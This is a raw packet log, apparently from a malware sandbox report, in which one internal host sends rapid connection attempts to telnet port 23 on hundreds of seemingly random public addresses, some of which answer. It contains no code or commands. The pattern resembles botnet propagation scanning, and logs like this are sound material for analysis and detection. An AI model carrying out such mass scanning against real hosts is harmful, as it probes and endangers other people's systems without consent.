Oct 17, 2024 02:19:42.014226913 CEST	20632	23	192.168.2.14	67.47.200.55
Oct 17, 2024 02:19:42.014226913 CEST	20632	23	192.168.2.14	1.129.217.17
Oct 17, 2024 02:19:42.014231920 CEST	20632	23	192.168.2.14	66.141.103.220
Oct 17, 2024 02:19:42.014231920 CEST	20632	23	192.168.2.14	45.189.179.174
Oct 17, 2024 02:19:42.014240980 CEST	20632	23	192.168.2.14	68.34.76.157
Oct 17, 2024 02:19:42.014244080 CEST	20632	23	192.168.2.14	218.36.85.155
Oct 17, 2024 02:19:42.014246941 CEST	20632	23	192.168.2.14	121.88.128.171
Oct 17, 2024 02:19:42.014264107 CEST	20632	23	192.168.2.14	152.38.72.34
Oct 17, 2024 02:19:42.014264107 CEST	20632	23	192.168.2.14	164.254.143.149
Oct 17, 2024 02:19:42.014264107 CEST	20632	23	192.168.2.14	73.89.170.88
Oct 17, 2024 02:19:42.014266014 CEST	20632	23	192.168.2.14	62.92.194.154
Oct 17, 2024 02:19:42.014271975 CEST	20632	23	192.168.2.14	222.237.14.169
Oct 17, 2024 02:19:42.014276981 CEST	20632	23	192.168.2.14	9.29.81.125
Oct 17, 2024 02:19:42.014285088 CEST	20632	23	192.168.2.14	140.80.8.62
Oct 17, 2024 02:19:42.014297009 CEST	20632	23	192.168.2.14	12.139.75.36
Oct 17, 2024 02:19:42.014297009 CEST	20632	23	192.168.2.14	38.122.143.19
Oct 17, 2024 02:19:42.014297962 CEST	20632	23	192.168.2.14	151.215.248.129
Oct 17, 2024 02:19:42.014300108 CEST	20632	23	192.168.2.14	79.128.9.95
Oct 17, 2024 02:19:42.014302015 CEST	20632	23	192.168.2.14	219.52.24.166
Oct 17, 2024 02:19:42.014312983 CEST	20632	23	192.168.2.14	50.5.216.54
Oct 17, 2024 02:19:42.014314890 CEST	20632	23	192.168.2.14	72.137.138.135
Oct 17, 2024 02:19:42.014314890 CEST	20632	23	192.168.2.14	217.56.134.167
Oct 17, 2024 02:19:42.014314890 CEST	20632	23	192.168.2.14	91.165.225.248
Oct 17, 2024 02:19:42.014322996 CEST	20632	23	192.168.2.14	117.117.131.30
Oct 17, 2024 02:19:42.014334917 CEST	20632	23	192.168.2.14	115.201.30.56
Oct 17, 2024 02:19:42.014337063 CEST	20632	23	192.168.2.14	66.212.140.62
Oct 17, 2024 02:19:42.014341116 CEST	20632	23	192.168.2.14	205.44.103.202
Oct 17, 2024 02:19:42.014342070 CEST	20632	23	192.168.2.14	50.117.59.220
Oct 17, 2024 02:19:42.014343023 CEST	20632	23	192.168.2.14	193.19.38.118
Oct 17, 2024 02:19:42.014359951 CEST	20632	23	192.168.2.14	100.224.174.121
Oct 17, 2024 02:19:42.014360905 CEST	20632	23	192.168.2.14	78.50.8.58
Oct 17, 2024 02:19:42.014365911 CEST	20632	23	192.168.2.14	175.77.220.53
Oct 17, 2024 02:19:42.014365911 CEST	20632	23	192.168.2.14	178.61.121.131
Oct 17, 2024 02:19:42.014374018 CEST	20632	23	192.168.2.14	177.63.45.101
Oct 17, 2024 02:19:42.014377117 CEST	20632	23	192.168.2.14	124.103.61.57
Oct 17, 2024 02:19:42.014391899 CEST	20632	23	192.168.2.14	67.44.212.196
Oct 17, 2024 02:19:42.014391899 CEST	20632	23	192.168.2.14	186.88.196.22
Oct 17, 2024 02:19:42.014394999 CEST	20632	23	192.168.2.14	199.113.247.168
Oct 17, 2024 02:19:42.014404058 CEST	20632	23	192.168.2.14	157.202.248.118
Oct 17, 2024 02:19:42.014411926 CEST	20632	23	192.168.2.14	96.87.114.28
Oct 17, 2024 02:19:42.014411926 CEST	20632	23	192.168.2.14	180.255.163.186
Oct 17, 2024 02:19:42.014415979 CEST	20632	23	192.168.2.14	2.124.94.218
Oct 17, 2024 02:19:42.014420033 CEST	20632	23	192.168.2.14	53.122.188.15
Oct 17, 2024 02:19:42.014414072 CEST	20632	23	192.168.2.14	183.49.34.58
Oct 17, 2024 02:19:42.014420033 CEST	20632	23	192.168.2.14	60.22.152.215
Oct 17, 2024 02:19:42.014421940 CEST	20632	23	192.168.2.14	91.42.242.5
Oct 17, 2024 02:19:42.014422894 CEST	20632	23	192.168.2.14	64.248.158.65
Oct 17, 2024 02:19:42.014439106 CEST	20632	23	192.168.2.14	204.87.211.222
Oct 17, 2024 02:19:42.014444113 CEST	20632	23	192.168.2.14	105.151.76.5
Oct 17, 2024 02:19:42.014445066 CEST	20632	23	192.168.2.14	67.227.143.238
Oct 17, 2024 02:19:42.014445066 CEST	20632	23	192.168.2.14	160.162.244.234
Oct 17, 2024 02:19:42.014453888 CEST	20632	23	192.168.2.14	125.19.8.115
Oct 17, 2024 02:19:42.014456034 CEST	20632	23	192.168.2.14	44.4.86.125
Oct 17, 2024 02:19:42.014456034 CEST	20632	23	192.168.2.14	123.6.222.156
Oct 17, 2024 02:19:42.014461994 CEST	20632	23	192.168.2.14	188.132.23.163
Oct 17, 2024 02:19:42.014468908 CEST	20632	23	192.168.2.14	42.52.107.42
Oct 17, 2024 02:19:42.014473915 CEST	20632	23	192.168.2.14	180.119.11.223
Oct 17, 2024 02:19:42.014482021 CEST	20632	23	192.168.2.14	100.182.56.110
Oct 17, 2024 02:19:42.014482021 CEST	20632	23	192.168.2.14	17.133.139.208
Oct 17, 2024 02:19:42.014502048 CEST	20632	23	192.168.2.14	207.204.136.36
Oct 17, 2024 02:19:42.014513016 CEST	20632	23	192.168.2.14	49.3.66.121
Oct 17, 2024 02:19:42.014518023 CEST	20632	23	192.168.2.14	12.19.146.143
Oct 17, 2024 02:19:42.014518023 CEST	20632	23	192.168.2.14	41.235.116.138
Oct 17, 2024 02:19:42.014519930 CEST	20632	23	192.168.2.14	1.75.151.112
Oct 17, 2024 02:19:42.014519930 CEST	20632	23	192.168.2.14	192.39.57.138
Oct 17, 2024 02:19:42.014523029 CEST	20632	23	192.168.2.14	191.5.139.62
Oct 17, 2024 02:19:42.014524937 CEST	20632	23	192.168.2.14	75.77.211.213
Oct 17, 2024 02:19:42.014539957 CEST	20632	23	192.168.2.14	125.62.22.186
Oct 17, 2024 02:19:42.014542103 CEST	20632	23	192.168.2.14	149.104.28.247
Oct 17, 2024 02:19:42.014542103 CEST	20632	23	192.168.2.14	111.223.74.216
Oct 17, 2024 02:19:42.014542103 CEST	20632	23	192.168.2.14	36.35.190.147
Oct 17, 2024 02:19:42.014542103 CEST	20632	23	192.168.2.14	188.43.254.129
Oct 17, 2024 02:19:42.014542103 CEST	20632	23	192.168.2.14	209.149.67.180
Oct 17, 2024 02:19:42.014544964 CEST	20632	23	192.168.2.14	218.45.11.251
Oct 17, 2024 02:19:42.014559984 CEST	20632	23	192.168.2.14	140.194.19.177
Oct 17, 2024 02:19:42.014561892 CEST	20632	23	192.168.2.14	91.131.82.196
Oct 17, 2024 02:19:42.014561892 CEST	20632	23	192.168.2.14	153.135.237.47
Oct 17, 2024 02:19:42.014566898 CEST	20632	23	192.168.2.14	202.199.33.166
Oct 17, 2024 02:19:42.014566898 CEST	20632	23	192.168.2.14	223.230.5.27
Oct 17, 2024 02:19:42.014568090 CEST	20632	23	192.168.2.14	23.182.208.54
Oct 17, 2024 02:19:42.014580965 CEST	20632	23	192.168.2.14	136.5.76.51
Oct 17, 2024 02:19:42.014581919 CEST	20632	23	192.168.2.14	86.186.231.113
Oct 17, 2024 02:19:42.014581919 CEST	20632	23	192.168.2.14	187.58.214.124
Oct 17, 2024 02:19:42.014590979 CEST	20632	23	192.168.2.14	48.209.248.168
Oct 17, 2024 02:19:42.014600992 CEST	20632	23	192.168.2.14	190.53.102.250
Oct 17, 2024 02:19:42.014601946 CEST	20632	23	192.168.2.14	111.129.30.39
Oct 17, 2024 02:19:42.014600992 CEST	20632	23	192.168.2.14	212.155.125.64
Oct 17, 2024 02:19:42.014601946 CEST	20632	23	192.168.2.14	42.28.240.251
Oct 17, 2024 02:19:42.014615059 CEST	20632	23	192.168.2.14	36.221.115.151
Oct 17, 2024 02:19:42.014624119 CEST	20632	23	192.168.2.14	163.242.84.105
Oct 17, 2024 02:19:42.014628887 CEST	20632	23	192.168.2.14	54.138.241.254
Oct 17, 2024 02:19:42.014628887 CEST	20632	23	192.168.2.14	157.168.113.57
Oct 17, 2024 02:19:42.014640093 CEST	20632	23	192.168.2.14	209.152.132.145
Oct 17, 2024 02:19:42.014647007 CEST	20632	23	192.168.2.14	222.42.151.121
Oct 17, 2024 02:19:42.014652967 CEST	20632	23	192.168.2.14	193.113.244.152
Oct 17, 2024 02:19:42.014656067 CEST	20632	23	192.168.2.14	123.17.43.91
Oct 17, 2024 02:19:42.014656067 CEST	20632	23	192.168.2.14	50.39.134.125
Oct 17, 2024 02:19:42.014656067 CEST	20632	23	192.168.2.14	96.63.212.118
Oct 17, 2024 02:19:42.014664888 CEST	20632	23	192.168.2.14	154.46.190.218
Oct 17, 2024 02:19:42.014664888 CEST	20632	23	192.168.2.14	78.174.160.145
Oct 17, 2024 02:19:42.014677048 CEST	20632	23	192.168.2.14	178.251.157.12
Oct 17, 2024 02:19:42.014678001 CEST	20632	23	192.168.2.14	8.33.3.227
Oct 17, 2024 02:19:42.014683962 CEST	20632	23	192.168.2.14	133.249.130.162
Oct 17, 2024 02:19:42.014683962 CEST	20632	23	192.168.2.14	209.225.248.216
Oct 17, 2024 02:19:42.014693022 CEST	20632	23	192.168.2.14	160.99.209.121
Oct 17, 2024 02:19:42.014693022 CEST	20632	23	192.168.2.14	191.122.180.56
Oct 17, 2024 02:19:42.014693022 CEST	20632	23	192.168.2.14	45.25.230.215
Oct 17, 2024 02:19:42.014707088 CEST	20632	23	192.168.2.14	188.26.139.31
Oct 17, 2024 02:19:42.014712095 CEST	20632	23	192.168.2.14	117.195.243.83
Oct 17, 2024 02:19:42.014712095 CEST	20632	23	192.168.2.14	211.27.37.32
Oct 17, 2024 02:19:42.014713049 CEST	20632	23	192.168.2.14	64.48.153.15
Oct 17, 2024 02:19:42.014729023 CEST	20632	23	192.168.2.14	199.175.30.67
Oct 17, 2024 02:19:42.014729023 CEST	20632	23	192.168.2.14	161.100.254.210
Oct 17, 2024 02:19:42.014730930 CEST	20632	23	192.168.2.14	17.64.130.51
Oct 17, 2024 02:19:42.014734983 CEST	20632	23	192.168.2.14	137.31.139.50
Oct 17, 2024 02:19:42.014738083 CEST	20632	23	192.168.2.14	95.58.93.45
Oct 17, 2024 02:19:42.014738083 CEST	20632	23	192.168.2.14	99.171.197.172
Oct 17, 2024 02:19:42.014755964 CEST	20632	23	192.168.2.14	186.66.102.88
Oct 17, 2024 02:19:42.014756918 CEST	20632	23	192.168.2.14	126.68.143.224
Oct 17, 2024 02:19:42.014756918 CEST	20632	23	192.168.2.14	119.222.37.99
Oct 17, 2024 02:19:42.014765978 CEST	20632	23	192.168.2.14	206.88.100.152
Oct 17, 2024 02:19:42.014765978 CEST	20632	23	192.168.2.14	117.229.91.61
Oct 17, 2024 02:19:42.014765978 CEST	20632	23	192.168.2.14	73.244.5.173
Oct 17, 2024 02:19:42.014782906 CEST	20632	23	192.168.2.14	98.105.94.249
Oct 17, 2024 02:19:42.014791012 CEST	20632	23	192.168.2.14	71.142.120.135
Oct 17, 2024 02:19:42.014791012 CEST	20632	23	192.168.2.14	105.14.210.224
Oct 17, 2024 02:19:42.014792919 CEST	20632	23	192.168.2.14	48.238.213.223
Oct 17, 2024 02:19:42.014794111 CEST	20632	23	192.168.2.14	162.57.24.32
Oct 17, 2024 02:19:42.014794111 CEST	20632	23	192.168.2.14	200.8.113.46
Oct 17, 2024 02:19:42.014800072 CEST	20632	23	192.168.2.14	119.178.124.139
Oct 17, 2024 02:19:42.014801979 CEST	20632	23	192.168.2.14	192.126.250.93
Oct 17, 2024 02:19:42.014816046 CEST	20632	23	192.168.2.14	159.87.22.162
Oct 17, 2024 02:19:42.014817953 CEST	20632	23	192.168.2.14	178.165.122.166
Oct 17, 2024 02:19:42.014817953 CEST	20632	23	192.168.2.14	193.57.95.147
Oct 17, 2024 02:19:42.014822006 CEST	20632	23	192.168.2.14	157.213.88.242
Oct 17, 2024 02:19:42.014822006 CEST	20632	23	192.168.2.14	151.18.169.14
Oct 17, 2024 02:19:42.014828920 CEST	20632	23	192.168.2.14	82.253.135.186
Oct 17, 2024 02:19:42.014841080 CEST	20632	23	192.168.2.14	52.56.45.142
Oct 17, 2024 02:19:42.014841080 CEST	20632	23	192.168.2.14	165.218.120.78
Oct 17, 2024 02:19:42.014841080 CEST	20632	23	192.168.2.14	131.7.241.209
Oct 17, 2024 02:19:42.014853001 CEST	20632	23	192.168.2.14	42.238.91.154
Oct 17, 2024 02:19:42.014853001 CEST	20632	23	192.168.2.14	83.231.190.40
Oct 17, 2024 02:19:42.014857054 CEST	20632	23	192.168.2.14	163.218.39.197
Oct 17, 2024 02:19:42.014858961 CEST	20632	23	192.168.2.14	134.109.119.38
Oct 17, 2024 02:19:42.014858961 CEST	20632	23	192.168.2.14	112.191.154.5
Oct 17, 2024 02:19:42.014885902 CEST	20632	23	192.168.2.14	144.96.20.217
Oct 17, 2024 02:19:42.014885902 CEST	20632	23	192.168.2.14	2.87.218.72
Oct 17, 2024 02:19:42.014890909 CEST	20632	23	192.168.2.14	196.94.130.147
Oct 17, 2024 02:19:42.014893055 CEST	20632	23	192.168.2.14	162.4.48.170
Oct 17, 2024 02:19:42.014893055 CEST	20632	23	192.168.2.14	79.139.181.34
Oct 17, 2024 02:19:42.014911890 CEST	20632	23	192.168.2.14	138.10.142.129
Oct 17, 2024 02:19:42.014911890 CEST	20632	23	192.168.2.14	135.107.117.77
Oct 17, 2024 02:19:42.014918089 CEST	20632	23	192.168.2.14	190.198.214.188
Oct 17, 2024 02:19:42.014919043 CEST	20632	23	192.168.2.14	116.13.231.99
Oct 17, 2024 02:19:42.014919996 CEST	20632	23	192.168.2.14	188.100.68.231
Oct 17, 2024 02:19:42.014919996 CEST	20632	23	192.168.2.14	135.137.116.97
Oct 17, 2024 02:19:42.014933109 CEST	20632	23	192.168.2.14	117.168.55.74
Oct 17, 2024 02:19:42.014933109 CEST	20632	23	192.168.2.14	37.26.62.33
Oct 17, 2024 02:19:42.014935017 CEST	20632	23	192.168.2.14	209.27.141.16
Oct 17, 2024 02:19:42.014938116 CEST	20632	23	192.168.2.14	52.176.204.242
Oct 17, 2024 02:19:42.014949083 CEST	20632	23	192.168.2.14	70.150.67.34
Oct 17, 2024 02:19:42.014949083 CEST	20632	23	192.168.2.14	38.132.92.31
Oct 17, 2024 02:19:42.014951944 CEST	20632	23	192.168.2.14	17.223.53.57
Oct 17, 2024 02:19:42.014951944 CEST	20632	23	192.168.2.14	108.191.69.97
Oct 17, 2024 02:19:42.014961004 CEST	20632	23	192.168.2.14	105.146.52.193
Oct 17, 2024 02:19:42.014961004 CEST	20632	23	192.168.2.14	38.48.155.172
Oct 17, 2024 02:19:42.014969110 CEST	20632	23	192.168.2.14	17.194.242.130
Oct 17, 2024 02:19:42.014970064 CEST	20632	23	192.168.2.14	199.49.231.65
Oct 17, 2024 02:19:42.014971018 CEST	20632	23	192.168.2.14	205.84.253.63
Oct 17, 2024 02:19:42.014985085 CEST	20632	23	192.168.2.14	179.146.142.12
Oct 17, 2024 02:19:42.014987946 CEST	20632	23	192.168.2.14	5.219.11.89
Oct 17, 2024 02:19:42.014987946 CEST	20632	23	192.168.2.14	208.182.75.255
Oct 17, 2024 02:19:42.014992952 CEST	20632	23	192.168.2.14	62.24.112.173
Oct 17, 2024 02:19:42.014992952 CEST	20632	23	192.168.2.14	169.18.14.11
Oct 17, 2024 02:19:42.015002966 CEST	20632	23	192.168.2.14	73.224.160.55
Oct 17, 2024 02:19:42.015007019 CEST	20632	23	192.168.2.14	65.193.93.87
Oct 17, 2024 02:19:42.015018940 CEST	20632	23	192.168.2.14	150.31.222.167
Oct 17, 2024 02:19:42.015029907 CEST	20632	23	192.168.2.14	32.224.71.248
Oct 17, 2024 02:19:42.015029907 CEST	20632	23	192.168.2.14	82.201.142.143
Oct 17, 2024 02:19:42.015029907 CEST	20632	23	192.168.2.14	150.161.112.96
Oct 17, 2024 02:19:42.015029907 CEST	20632	23	192.168.2.14	206.164.222.59
Oct 17, 2024 02:19:42.015032053 CEST	20632	23	192.168.2.14	213.143.226.17
Oct 17, 2024 02:19:42.015034914 CEST	20632	23	192.168.2.14	144.158.88.117
Oct 17, 2024 02:19:42.015042067 CEST	20632	23	192.168.2.14	216.255.181.155
Oct 17, 2024 02:19:42.015053988 CEST	20632	23	192.168.2.14	9.46.250.239
Oct 17, 2024 02:19:42.015054941 CEST	20632	23	192.168.2.14	42.89.134.130
Oct 17, 2024 02:19:42.015054941 CEST	20632	23	192.168.2.14	163.148.163.31
Oct 17, 2024 02:19:42.015062094 CEST	20632	23	192.168.2.14	142.151.101.204
Oct 17, 2024 02:19:42.015062094 CEST	20632	23	192.168.2.14	138.98.120.104
Oct 17, 2024 02:19:42.015074968 CEST	20632	23	192.168.2.14	42.58.21.18
Oct 17, 2024 02:19:42.015074968 CEST	20632	23	192.168.2.14	86.248.20.20
Oct 17, 2024 02:19:42.015089035 CEST	20632	23	192.168.2.14	119.146.5.61
Oct 17, 2024 02:19:42.015096903 CEST	20632	23	192.168.2.14	163.108.24.239
Oct 17, 2024 02:19:42.015104055 CEST	20632	23	192.168.2.14	100.228.208.233
Oct 17, 2024 02:19:42.015120029 CEST	20632	23	192.168.2.14	144.111.65.161
Oct 17, 2024 02:19:42.015121937 CEST	20632	23	192.168.2.14	181.35.4.191
Oct 17, 2024 02:19:42.015122890 CEST	20632	23	192.168.2.14	39.31.72.135
Oct 17, 2024 02:19:42.015122890 CEST	20632	23	192.168.2.14	163.238.98.35
Oct 17, 2024 02:19:42.015125036 CEST	20632	23	192.168.2.14	108.0.33.133
Oct 17, 2024 02:19:42.015125036 CEST	20632	23	192.168.2.14	162.111.197.195
Oct 17, 2024 02:19:42.015125036 CEST	20632	23	192.168.2.14	140.71.98.112
Oct 17, 2024 02:19:42.015130997 CEST	20632	23	192.168.2.14	145.4.85.137
Oct 17, 2024 02:19:42.015136957 CEST	20632	23	192.168.2.14	69.228.121.224
Oct 17, 2024 02:19:42.015137911 CEST	20632	23	192.168.2.14	66.67.72.3
Oct 17, 2024 02:19:42.015146017 CEST	20632	23	192.168.2.14	63.34.188.73
Oct 17, 2024 02:19:42.015147924 CEST	20632	23	192.168.2.14	74.48.96.162
Oct 17, 2024 02:19:42.015147924 CEST	20632	23	192.168.2.14	86.147.44.158
Oct 17, 2024 02:19:42.015153885 CEST	20632	23	192.168.2.14	84.31.6.50
Oct 17, 2024 02:19:42.015156984 CEST	20632	23	192.168.2.14	117.118.51.204
Oct 17, 2024 02:19:42.015160084 CEST	20632	23	192.168.2.14	138.157.159.47
Oct 17, 2024 02:19:42.015161037 CEST	20632	23	192.168.2.14	24.125.150.17
Oct 17, 2024 02:19:42.015161037 CEST	20632	23	192.168.2.14	165.44.186.164
Oct 17, 2024 02:19:42.015161037 CEST	20632	23	192.168.2.14	150.255.184.177
Oct 17, 2024 02:19:42.015180111 CEST	20632	23	192.168.2.14	88.210.23.137
Oct 17, 2024 02:19:42.015182018 CEST	20632	23	192.168.2.14	104.86.126.162
Oct 17, 2024 02:19:42.015182018 CEST	20632	23	192.168.2.14	194.238.243.199
Oct 17, 2024 02:19:42.015191078 CEST	20632	23	192.168.2.14	143.121.25.126
Oct 17, 2024 02:19:42.015191078 CEST	20632	23	192.168.2.14	188.80.177.44
Oct 17, 2024 02:19:42.015191078 CEST	20632	23	192.168.2.14	202.151.103.146
Oct 17, 2024 02:19:42.015197992 CEST	20632	23	192.168.2.14	77.226.222.154
Oct 17, 2024 02:19:42.015201092 CEST	20632	23	192.168.2.14	45.103.23.64
Oct 17, 2024 02:19:42.015204906 CEST	20632	23	192.168.2.14	39.162.142.41
Oct 17, 2024 02:19:42.015216112 CEST	20632	23	192.168.2.14	93.20.231.81
Oct 17, 2024 02:19:42.015216112 CEST	20632	23	192.168.2.14	129.178.89.46
Oct 17, 2024 02:19:42.015218973 CEST	20632	23	192.168.2.14	187.146.120.229
Oct 17, 2024 02:19:42.015224934 CEST	20632	23	192.168.2.14	124.157.116.117
Oct 17, 2024 02:19:42.015238047 CEST	20632	23	192.168.2.14	87.255.60.224
Oct 17, 2024 02:19:42.015242100 CEST	20632	23	192.168.2.14	211.209.197.150
Oct 17, 2024 02:19:42.015244961 CEST	20632	23	192.168.2.14	205.232.193.6
Oct 17, 2024 02:19:42.015244961 CEST	20632	23	192.168.2.14	158.152.126.160
Oct 17, 2024 02:19:42.015252113 CEST	20632	23	192.168.2.14	25.230.126.179
Oct 17, 2024 02:19:42.015263081 CEST	20632	23	192.168.2.14	181.48.140.223
Oct 17, 2024 02:19:42.015263081 CEST	20632	23	192.168.2.14	189.178.14.11
Oct 17, 2024 02:19:42.015268087 CEST	20632	23	192.168.2.14	157.44.186.76
Oct 17, 2024 02:19:42.015269041 CEST	20632	23	192.168.2.14	8.43.129.129
Oct 17, 2024 02:19:42.015280008 CEST	20632	23	192.168.2.14	165.232.199.39
Oct 17, 2024 02:19:42.015280008 CEST	20632	23	192.168.2.14	118.205.38.152
Oct 17, 2024 02:19:42.015290022 CEST	20632	23	192.168.2.14	17.251.252.119
Oct 17, 2024 02:19:42.015294075 CEST	20632	23	192.168.2.14	43.80.232.21
Oct 17, 2024 02:19:42.015295029 CEST	20632	23	192.168.2.14	105.30.147.237
Oct 17, 2024 02:19:42.015301943 CEST	20632	23	192.168.2.14	188.102.194.38
Oct 17, 2024 02:19:42.015301943 CEST	20632	23	192.168.2.14	31.151.43.223
Oct 17, 2024 02:19:42.015301943 CEST	20632	23	192.168.2.14	99.164.54.90
Oct 17, 2024 02:19:42.015311956 CEST	20632	23	192.168.2.14	157.133.49.250
Oct 17, 2024 02:19:42.015311956 CEST	20632	23	192.168.2.14	223.85.89.28
Oct 17, 2024 02:19:42.015324116 CEST	20632	23	192.168.2.14	119.96.108.146
Oct 17, 2024 02:19:42.015331984 CEST	20632	23	192.168.2.14	125.52.199.191
Oct 17, 2024 02:19:42.018601894 CEST	23	20632	170.236.196.123	192.168.2.14
Oct 17, 2024 02:19:42.018647909 CEST	23	20632	113.203.189.244	192.168.2.14
Oct 17, 2024 02:19:42.018862963 CEST	20632	23	192.168.2.14	170.236.196.123
Oct 17, 2024 02:19:42.018867016 CEST	20632	23	192.168.2.14	113.203.189.244
Oct 17, 2024 02:19:42.019066095 CEST	23	20632	156.137.31.89	192.168.2.14
Oct 17, 2024 02:19:42.019097090 CEST	23	20632	17.86.111.68	192.168.2.14
Oct 17, 2024 02:19:42.019126892 CEST	23	20632	166.148.149.247	192.168.2.14
Oct 17, 2024 02:19:42.019133091 CEST	20632	23	192.168.2.14	156.137.31.89
Oct 17, 2024 02:19:42.019159079 CEST	23	20632	220.91.224.35	192.168.2.14
Oct 17, 2024 02:19:42.019187927 CEST	23	20632	69.189.145.220	192.168.2.14
Oct 17, 2024 02:19:42.019191980 CEST	20632	23	192.168.2.14	17.86.111.68
Oct 17, 2024 02:19:42.019191980 CEST	20632	23	192.168.2.14	166.148.149.247
Oct 17, 2024 02:19:42.019217968 CEST	23	20632	48.8.186.74	192.168.2.14
Oct 17, 2024 02:19:42.019247055 CEST	23	20632	162.53.71.243	192.168.2.14
Oct 17, 2024 02:19:42.019274950 CEST	23	20632	188.133.162.178	192.168.2.14
Oct 17, 2024 02:19:42.019274950 CEST	20632	23	192.168.2.14	220.91.224.35
Oct 17, 2024 02:19:42.019274950 CEST	20632	23	192.168.2.14	69.189.145.220
Oct 17, 2024 02:19:42.019309044 CEST	20632	23	192.168.2.14	48.8.186.74
Oct 17, 2024 02:19:42.019328117 CEST	23	20632	114.59.245.243	192.168.2.14
Oct 17, 2024 02:19:42.019357920 CEST	23	20632	65.174.112.232	192.168.2.14
Oct 17, 2024 02:19:42.019367933 CEST	20632	23	192.168.2.14	188.133.162.178
Oct 17, 2024 02:19:42.019375086 CEST	20632	23	192.168.2.14	162.53.71.243
Oct 17, 2024 02:19:42.019392967 CEST	20632	23	192.168.2.14	114.59.245.243
Oct 17, 2024 02:19:42.019397020 CEST	20632	23	192.168.2.14	65.174.112.232
Oct 17, 2024 02:19:42.019412041 CEST	23	20632	84.5.4.253	192.168.2.14
Oct 17, 2024 02:19:42.019443989 CEST	23	20632	193.117.223.183	192.168.2.14
Oct 17, 2024 02:19:42.019457102 CEST	20632	23	192.168.2.14	84.5.4.253
Oct 17, 2024 02:19:42.019473076 CEST	23	20632	206.90.152.52	192.168.2.14
Oct 17, 2024 02:19:42.019481897 CEST	20632	23	192.168.2.14	193.117.223.183
Oct 17, 2024 02:19:42.019501925 CEST	23	20632	128.240.231.132	192.168.2.14
Oct 17, 2024 02:19:42.019536018 CEST	23	20632	94.233.193.249	192.168.2.14
Oct 17, 2024 02:19:42.019562960 CEST	23	20632	222.244.171.166	192.168.2.14
Oct 17, 2024 02:19:42.019586086 CEST	20632	23	192.168.2.14	94.233.193.249
Oct 17, 2024 02:19:42.019591093 CEST	23	20632	158.157.163.17	192.168.2.14
Oct 17, 2024 02:19:42.019599915 CEST	20632	23	192.168.2.14	206.90.152.52
Oct 17, 2024 02:19:42.019606113 CEST	20632	23	192.168.2.14	128.240.231.132
Oct 17, 2024 02:19:42.019619942 CEST	23	20632	81.222.238.152	192.168.2.14
Oct 17, 2024 02:19:42.019649029 CEST	23	20632	198.76.243.204	192.168.2.14
Oct 17, 2024 02:19:42.019659996 CEST	20632	23	192.168.2.14	81.222.238.152
Oct 17, 2024 02:19:42.019679070 CEST	23	20632	63.84.232.226	192.168.2.14
Oct 17, 2024 02:19:42.019691944 CEST	20632	23	192.168.2.14	158.157.163.17
Oct 17, 2024 02:19:42.019695044 CEST	20632	23	192.168.2.14	222.244.171.166
Oct 17, 2024 02:19:42.019711971 CEST	23	20632	45.72.76.152	192.168.2.14
Oct 17, 2024 02:19:42.019740105 CEST	23	20632	63.154.95.115	192.168.2.14
Oct 17, 2024 02:19:42.019768953 CEST	23	20632	181.224.40.11	192.168.2.14
Oct 17, 2024 02:19:42.019784927 CEST	20632	23	192.168.2.14	63.154.95.115
Oct 17, 2024 02:19:42.019798040 CEST	23	20632	5.69.177.139	192.168.2.14
Oct 17, 2024 02:19:42.019820929 CEST	20632	23	192.168.2.14	63.84.232.226
Oct 17, 2024 02:19:42.019821882 CEST	20632	23	192.168.2.14	198.76.243.204
Oct 17, 2024 02:19:42.019825935 CEST	23	20632	171.165.7.180	192.168.2.14
Oct 17, 2024 02:19:42.019830942 CEST	20632	23	192.168.2.14	45.72.76.152
Oct 17, 2024 02:19:42.019844055 CEST	20632	23	192.168.2.14	181.224.40.11
Oct 17, 2024 02:19:42.019855022 CEST	23	20632	79.24.34.45	192.168.2.14
Oct 17, 2024 02:19:42.019866943 CEST	20632	23	192.168.2.14	171.165.7.180
Oct 17, 2024 02:19:42.019866943 CEST	20632	23	192.168.2.14	5.69.177.139
Oct 17, 2024 02:19:42.019884109 CEST	23	20632	128.122.119.11	192.168.2.14
Oct 17, 2024 02:19:42.019911051 CEST	23	20632	118.167.234.57	192.168.2.14
Oct 17, 2024 02:19:42.019925117 CEST	20632	23	192.168.2.14	79.24.34.45
Oct 17, 2024 02:19:42.019938946 CEST	23	20632	17.131.236.2	192.168.2.14
Oct 17, 2024 02:19:42.019967079 CEST	23	20632	184.160.238.48	192.168.2.14
Oct 17, 2024 02:19:42.019973040 CEST	20632	23	192.168.2.14	118.167.234.57
Oct 17, 2024 02:19:42.020016909 CEST	23	20632	1.99.144.66	192.168.2.14
Oct 17, 2024 02:19:42.020016909 CEST	20632	23	192.168.2.14	184.160.238.48
Oct 17, 2024 02:19:42.020025969 CEST	20632	23	192.168.2.14	128.122.119.11
Oct 17, 2024 02:19:42.020055056 CEST	23	20632	189.145.163.159	192.168.2.14
Oct 17, 2024 02:19:42.020060062 CEST	20632	23	192.168.2.14	1.99.144.66
Oct 17, 2024 02:19:42.020085096 CEST	23	20632	103.215.163.17	192.168.2.14
Oct 17, 2024 02:19:42.020112991 CEST	23	20632	73.34.187.6	192.168.2.14
Oct 17, 2024 02:19:42.020121098 CEST	20632	23	192.168.2.14	17.131.236.2
Oct 17, 2024 02:19:42.020121098 CEST	20632	23	192.168.2.14	189.145.163.159
Oct 17, 2024 02:19:42.020128012 CEST	20632	23	192.168.2.14	103.215.163.17
Oct 17, 2024 02:19:42.020142078 CEST	23	20632	190.1.142.142	192.168.2.14
Oct 17, 2024 02:19:42.020170927 CEST	23	20632	212.107.202.52	192.168.2.14
Oct 17, 2024 02:19:42.020199060 CEST	23	20632	179.246.136.244	192.168.2.14
Oct 17, 2024 02:19:42.020225048 CEST	20632	23	192.168.2.14	73.34.187.6
Oct 17, 2024 02:19:42.020226955 CEST	23	20632	143.126.186.135	192.168.2.14
Oct 17, 2024 02:19:42.020245075 CEST	20632	23	192.168.2.14	190.1.142.142
Oct 17, 2024 02:19:42.020245075 CEST	20632	23	192.168.2.14	212.107.202.52
Oct 17, 2024 02:19:42.020255089 CEST	23	20632	141.162.34.230	192.168.2.14
Oct 17, 2024 02:19:42.020282984 CEST	23	20632	209.197.219.104	192.168.2.14
Oct 17, 2024 02:19:42.020297050 CEST	20632	23	192.168.2.14	179.246.136.244
Oct 17, 2024 02:19:42.020297050 CEST	20632	23	192.168.2.14	143.126.186.135
Oct 17, 2024 02:19:42.020309925 CEST	23	20632	146.5.252.31	192.168.2.14
Oct 17, 2024 02:19:42.020324945 CEST	20632	23	192.168.2.14	209.197.219.104
Oct 17, 2024 02:19:42.020339012 CEST	23	20632	191.52.2.170	192.168.2.14
Oct 17, 2024 02:19:42.020355940 CEST	20632	23	192.168.2.14	141.162.34.230
